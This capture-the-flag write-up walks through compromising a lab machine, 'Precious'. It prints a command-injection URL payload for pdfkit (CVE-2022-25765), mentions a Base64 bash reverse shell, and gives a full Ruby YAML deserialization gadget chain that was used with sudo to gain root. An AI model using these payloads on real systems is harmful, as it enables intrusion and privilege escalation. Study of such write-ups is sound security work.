Nmap

Like always, I’m going to scan the IP Address by using nmap but I’m going to scan the full port first. Then, I’m going to scan the only open ports.

# Nmap 7.95 scan initiated Sat Feb  8 01:56:28 2025 as: /usr/lib/nmap/nmap -p22,80 -sCV -oN nmap/scripts.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb  8 01:56:37 2025 -- 1 IP address (1 host up) scanned in 8.61 seconds

The Nmap scan is complete. Only two ports are open, SSH and HTTP. Since I don’t have any credentials, I’ll ignore port 22.

Additionally, Nmap identified the machine’s hostname as precious.htb, so I added it to my /etc/hosts file.

add hostname

Http

Next, I navigated to http://precious.htb, which is a simple website that converts web page to PDF by taking a URL as input.

website

To test its functionality, I started a Python server on my machine with a simple “hello world” message in index.html. After submitting my server’s URL to the converter, it automatically generated a PDF file and opened it in a new tab.

pdf view

Since the server downloaded the PDF file, I used the strings command to inspect its contents. I found something particularly interesting, the PDF was generated using pdfkit version v0.8.6.

pdfkit version

Pdfkit: Command Injection

A quick Google search led me to this Snyk security advisory, which confirmed that this version of pdfkit is vulnerable to command injection. The vulnerability is assigned CVE-2022-25765.

The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

The provided PoC demonstrated the vulnerability by making the server sleep for 5 seconds. Instead, I modified it to ping my machine.

The payload:

http://10.10.14.20:8000/?name=#{'%20`ping -c 1 10.10.14.20`'}

tcpdump ICMP

Shell: Ruby

Since the command injection worked, I sent a Base64-encoded bash reverse shell payload. It successfully connected back to my machine, giving me a shell as the ruby user.

shell as ruby

During enumeration, I found credentials for henry inside /home/ruby/.bundle.

henry credential

SSH: Henry

Without wasting time, I used the discovered credentials to SSH into the machine as henry. Surprisingly, it worked!

ssh as henry

As always, the first thing I checked was sudo permissions with sudo -l. It revealed that henry could execute the update_dependencies.rb script with sudo privileges.

sudo permission

update_dependencies.rb

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The script loads and parses a YAML file (dependencies.yml) and compares the installed gem versions with the specified ones.

I found this blog post explaining how to exploit Ruby’s YAML deserialization to achieve RCE.

POC

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

I tested the PoC, and it worked.

test the POC

Shell: Root

Since the PoC was successful, I modified it to include a Base64-encoded bash reverse shell payload, similar to the one I used earlier. After executing the script, I got a root shell.

shell as root